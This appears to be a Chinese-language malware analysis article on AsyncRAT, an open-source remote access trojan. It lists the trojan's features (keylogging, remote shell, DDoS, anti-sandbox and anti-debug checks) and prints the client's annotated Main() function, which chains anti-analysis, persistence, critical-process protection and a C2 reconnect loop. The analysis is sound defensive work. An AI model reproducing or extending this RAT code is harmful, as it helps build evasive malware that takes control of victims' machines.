AsyncRAT分析

前言

AsyncRAT是一个APT组织喜欢使用的开源RAT之一，该木马最初由Github用户NYAN-x-CAT使用C#开发，此后该工具被多个黑客组织或者个人修改、增强用于各种网络间谍活动中。

AsyncRAT不仅包括通讯、守护、隐藏、自启动等常见功能模块，还包含加密、反沙盒、反虚拟机、反分析、反调试等对抗模块。并且将远程桌面监控、Webcam监控、键盘记录、文件查找、远程shell、Bots Killer以及DDos攻击等功能做成DLL放在了服务端，然后通过传输功能插件，在内存里加载运行，这样大大提高了木马的灵活性和扩展性，加大了安全人员分析的难度。是一款相对比较成熟、容易扩展的异步通讯开源木马。

AsyncRAT采用反向连接的方式，也就是Client（受控端）主动发送数据联系Server（控制端）。作为分析人员拿到的也是受控端，因此本次主要分析受控端。

Client

分析C#程序可以使用dnspy进行反编译、调试，以下使用VS直接对源码进行分析

其中比较主要的是Program.cs（入口文件）以及Settings.cs（配置文件）

入口主函数

入口函数位于Program.cs，主要代码如下：

public static void Main()
        {
            //设置延迟
            for (int i = 0; i < Convert.ToInt32(Settings.Delay); i++)               
            {
                Thread.Sleep(1000);
            }
            if (!Settings.InitializeSettings()) Environment.Exit(0);       //初始化配置
            try
            {
                if (!MutexControl.CreateMutex()) //如果当前有效载荷是重复的退出，检查互斥量
                    Environment.Exit(0);
                if (Convert.ToBoolean(Settings.Anti)) //检查配置，是否运行反虚拟环境
                    Anti_Analysis.RunAntiAnalysis();
                if (Convert.ToBoolean(Settings.Install)) //检查配置，是否释放有效载荷[持久化]
                    NormalStartup.Install();
                if (Convert.ToBoolean(Settings.BDOS) && Methods.IsAdmin()) //检查配置，在管理员身份下是否保护进程
                    ProcessCritical.Set();
                Methods.PreventSleep(); //防止应用程序运行时电脑睡眠，保持线程处于在线状态
            }
            catch { }
            while (true) // 上线机制
            {
                try
                {
                    if (!ClientSocket.IsConnected)
                    {
                        ClientSocket.Reconnect();            //释放连接资源，应该是用于重连
                        ClientSocket.InitializeClient();    //初始化，连接C2地址
                    }
                }
                catch { }
                Thread.Sleep(5000);
            }
        }